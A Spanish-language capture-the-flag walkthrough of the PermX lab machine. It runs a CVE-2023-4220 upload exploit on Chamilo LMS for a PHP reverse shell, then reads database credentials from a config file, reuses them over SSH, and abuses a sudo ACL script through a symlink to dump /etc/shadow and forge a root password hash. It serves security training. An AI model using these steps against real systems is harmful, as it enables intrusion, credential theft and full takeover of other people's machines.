Añadimos la IP 10.10.11.23 a nuestro /etc/hosts y accedemos través del navegador.
Parece una web de cursos online. En la pestaña About, encontramos la parte del equipo, que nos podría servir para hacer bruteforce contra usuarios dirigidos:
La mayoría de links no llevan a ningún lado y solamente recargan la página actual. En principio no encontramos nada relevante.
Solo encontramos 2 puertos abiertos, el 22 y el 80. Los típicos. Podríamos probar a hacer bruteforce de SSH con los usuarios que encontramos en la web.
Fuzzing
Haciendo fuzzing con dirsearch nos encontramos unos pocos directorios:
bash CVE-2023-4220.sh
All options -f, -h, and -p are required.
Usage: CVE-2023-4220.sh -f reverse_file -h host_link -p port_in_the_reverse_file
Options:
-f Path to the reverse file
-h Host link where the file will be uploaded
-p Port for the reverse shell
Necesitamos especificarle:
Una reverse shell (en php)
El host de destino
El puerto para nuestra reverse shell
Voy a crear una reverse shell por ejemplo con el plugin de Hack Tools:
Lo voy a guardar en el directorio raiz / con el nombre de shell.php
Explotación
Vamos a ejecutar el exploit de la siguiente manera:
bashCVE-2023-4220.sh-f/home/kali/shell.php-hhttp://lms.permx.htb/-p1234Thefilehassuccessfullybeenuploaded.# Use This leter For Interactive TTY ;) # python3 -c 'import pty;pty.spawn("/bin/bash")'# export TERM=xterm# CTRL + Z# stty raw -echo; fg# Starting Reverse Shell On Port 1234 . . . . . . .
Ahora si vamos a la siguiente ruta deberíamos ver nuestra shell:
Hay más hackers atacando la máquina, por eso que hay varias reverse shells subidas, pero hacemos click en la nuestra y recibimos la conexión en la terminal!
www-data@permx:/$ whoami
www-data
www-data@permx:/$ ls
bin dev home lib32 libx32 media opt root sbin sys usr
boot etc lib lib64 lost+found mnt proc run srv tmp var
www-data@permx:/$ cd home
www-data@permx:/home$ ls
mtz
www-data@permx:/home$ cd mtz
bash: cd: mtz: Permission denied
Somos el usuario www-data, y vemos que hay un usuario mtz en el sistema (user flag), pero no podemos acceder. Vamos a hacer un poco de credential hunting:
Usando técnicas de Credential Hunting buscando archivos de configuración, encontramos uno que contiene credenciales para una base de datos:
www-data@permx:/$ find / -type f -name "configuration.php" -exec ls -l {} \; 2>/dev/null
-rw-r--r-- 1 www-data www-data 127902 Jan 20 2024 /var/www/chamilo/app/config/configuration.php
-rwxr-xr-x 1 www-data www-data 1258 Aug 31 2023 /var/www/chamilo/plugin/sepe/src/configuration.php
www-data@permx:/$ cat /var/www/chamilo/app/config/configuration.php
<?php
// Chamilo version 1.11.24
// File generated by /install/index.php script - Sat, 20 Jan 2024 18:20:32 +0000
/* For licensing terms, see /license.txt */
<------SNIP------>
// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
// Enable access to database management for platform admins.
$_configuration['db_manager_enabled'] = false;
Conexión a base de datos
Vamos a usar estar credenciales para conectarnos a mysql:
www-data@permx:/$ mysql -h localhost -P 3306 -u chamilo -p chamilo
Enter password: 03F6lY3uXAP2bkW8
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 137
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [chamilo]>
Enumeración de la BBDD
De todas las tablas de la base de datos, nos interesa la tabla user, donde podría haber información confidencial sobre el usuario:
Buuum! Obtenemos las credenciales del admin y de un nuevo usuario anonymous.
En BCrypt, el hash incluye el salt y el costo. Por ejemplo:
$2y$04$1Ddsofn9mOaa9cbPzk0m6euWcainR.ZT2ts96vRCKrN7CGCmmq4ra
| | | | |
| | | | +---> Salt y Hash combinados
| | | +------------> Salt
| | +---------------> Cost factor (04 en este caso)
| +-----------------> Algoritmo (BCrypt, versión `$2y$`)
Vamos a guardar estos 2 hashes en un archivo hashes.txt y vamos a crackearlo con john:
User flag
Intentamos crackear estos hashes pero tarda demasiado. Vamos a probar a conectarnos por SSH con la contraseña de la base de datos, ya que puede estar reutilizada, y nos logueamos como el único usuario que habia en el sistema mtz:
sshmtz@10.10.11.23mtz@10.10.11.23's password: 03F6lY3uXAP2bkW8Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-113-generic x86_64)
Tenemos la User Flag! 🏆
Escalada de privilegios
Lo primero, comprobamos como siempre los permisos de ejecución de este usuario mtz:
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
Vamos a ver el contenido del script acl.sh:
#!/bin/bashif [ "$#"-ne3 ]; then/usr/bin/echo"Usage: $0 user perm file"exit1fiuser="$1"perm="$2"target="$3"if [[ "$target"!= /home/mtz/*||"$target"==*..* ]]; then/usr/bin/echo"Access denied."exit1fi# Check if the path is a fileif [ !-f"$target" ]; then/usr/bin/echo"Target must be a file."exit1fi/usr/bin/sudo/usr/bin/setfacl-mu:"$user":"$perm""$target"
Este script permite modificar los permisos dentro del path /home/mtz , entonces lo que vamos hacer es ejecutar los siguientes dos comandos:
El primer comando crea un simlink, una especie de acceso directo del path / con un nombre llamado root.
El segundo comando ejecuta el script acl.sh que este otorga permisos de escritura y lectura al archivo o carpeta que sea crea con el nombre root ubicado en /home/mtz. Esto nos permite leer y escribir el archivo /etc/shadow, lo que nos permitiría cambiar la contraseña del usuario root.
Ejecutando el script para leer /etc/shadow
mtz@permx:~$ ln -s / root
mtz@permx:~$ ls
root user.txt
mtz@permx:~$ cd root
mtz@permx:~/root$ ls
bin boot dev etc home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin srv sys tmp usr var
mtz@permx:~/root$ cd ..
mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/root/etc/shadow
mtz@permx:~$ cat /home/mtz/root/etc/shadow
root:$y$j9T$VEMcaSLaOOvSE3mYgRXRv/$tNXYdTRyCAkwoSHhlyIoCS91clvPEp/hh0r4NTBlmS7:19742:0:99999:7:::
daemon:*:19579:0:99999:7:::
bin:*:19579:0:99999:7:::
sys:*:19579:0:99999:7:::
sync:*:19579:0:99999:7:::
games:*:19579:0:99999:7:::
man:*:19579:0:99999:7:::
lp:*:19579:0:99999:7:::
mail:*:19579:0:99999:7:::
news:*:19579:0:99999:7:::
uucp:*:19579:0:99999:7:::
proxy:*:19579:0:99999:7:::
www-data:*:19579:0:99999:7:::
backup:*:19579:0:99999:7:::
list:*:19579:0:99999:7:::
irc:*:19579:0:99999:7:::
gnats:*:19579:0:99999:7:::
nobody:*:19579:0:99999:7:::
_apt:*:19579:0:99999:7:::
systemd-network:*:19579:0:99999:7:::
systemd-resolve:*:19579:0:99999:7:::
messagebus:*:19579:0:99999:7:::
systemd-timesync:*:19579:0:99999:7:::
pollinate:*:19579:0:99999:7:::
sshd:*:19579:0:99999:7:::
syslog:*:19579:0:99999:7:::
uuidd:*:19579:0:99999:7:::
tcpdump:*:19579:0:99999:7:::
tss:*:19579:0:99999:7:::
landscape:*:19579:0:99999:7:::
fwupd-refresh:*:19579:0:99999:7:::
usbmux:*:19742:0:99999:7:::
mtz:$y$j9T$RUjBgvOODKC9hyu5u7zCt0$Vf7nqZ4umh3s1N69EeoQ4N5zoid6c2SlGb1LvBFRxSB:19742:0:99999:7:::
lxd:!:19742::::::
mysql:!:19742:0:99999:7:::
Crear nuevo password de root
# Password actual
root:$y$j9T$VEMcaSLaOOvSE3mYgRXRv/$tNXYdTRyCAkwoSHhlyIoCS91clvPEp/hh0r4NTBlmS7:19742:0:99999:7:::
# Nuevo password
mtz@permx:~$ openssl passwd -6 afsh4ck
$6$DmuarOdW7jXd.2vn$Xp9KjrLbFPOC2FufelLNDj0mYD6Y8ngJwD0X2qMe0fYHmjBHAO7YrQo5Z1fbixwNhLTOwRvG9fKCkwzxJpOVd.